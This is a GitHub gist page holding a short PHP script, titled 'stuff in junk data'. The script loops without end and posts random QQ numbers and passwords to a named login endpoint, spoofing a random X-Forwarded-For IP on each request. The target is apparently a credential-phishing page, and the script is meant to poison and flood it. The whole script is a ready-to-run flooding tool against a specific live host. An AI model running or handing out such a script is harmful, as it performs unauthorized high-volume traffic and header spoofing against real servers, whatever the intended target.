Created
May 19, 2019 19:11
-
-
Save kasuganosoras/7e007d60e35a14985e8dc7a1091787c6 to your computer and use it in GitHub Desktop.
塞垃圾数据
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function curl_request($url, $post = '', $cookie = '', $headers = '', $returnHeader = 0) { | |
$curl = curl_init(); | |
curl_setopt($curl, CURLOPT_URL, $url); | |
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)'); | |
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); | |
curl_setopt($curl, CURLOPT_AUTOREFERER, 1); | |
curl_setopt($curl, CURLOPT_REFERER, $url); | |
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); | |
if ($post) { | |
curl_setopt($curl, CURLOPT_POST, 1); | |
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post)); | |
} | |
if ($cookie) { | |
curl_setopt($curl, CURLOPT_COOKIE, $cookie); | |
} | |
if ($headers) { | |
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); | |
} | |
curl_setopt($curl, CURLOPT_HEADER, 1); | |
curl_setopt($curl, CURLOPT_TIMEOUT, 5); | |
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); | |
$data = curl_exec($curl); | |
$httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE); | |
if (curl_errno($curl)) { | |
$httpCode = curl_error($curl); | |
} | |
curl_close($curl); | |
return $httpCode; | |
} | |
while(true) { | |
$user = mt_rand(10000, 999999999); | |
$passwd = substr(md5(microtime() . mt_rand(0, 9999999)), 0, 16); | |
$ip = mt_rand(1, 255) . "." . mt_rand(1, 255) . "." . mt_rand(1, 255) . "." . mt_rand(1, 255); | |
echo "Attach: {$user}, {$passwd}, {$ip} ..."; | |
echo curl_request("http://www.po360.store/login.php?act=save", Array("qq" => $user, "pwd" => $passwd, "ip" => $ip), null, Array("X-Forwarded_For: {$ip}")) . "\n"; | |
// sleep(1); // 想降低速度就在这里写延迟,一般是不用的 | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment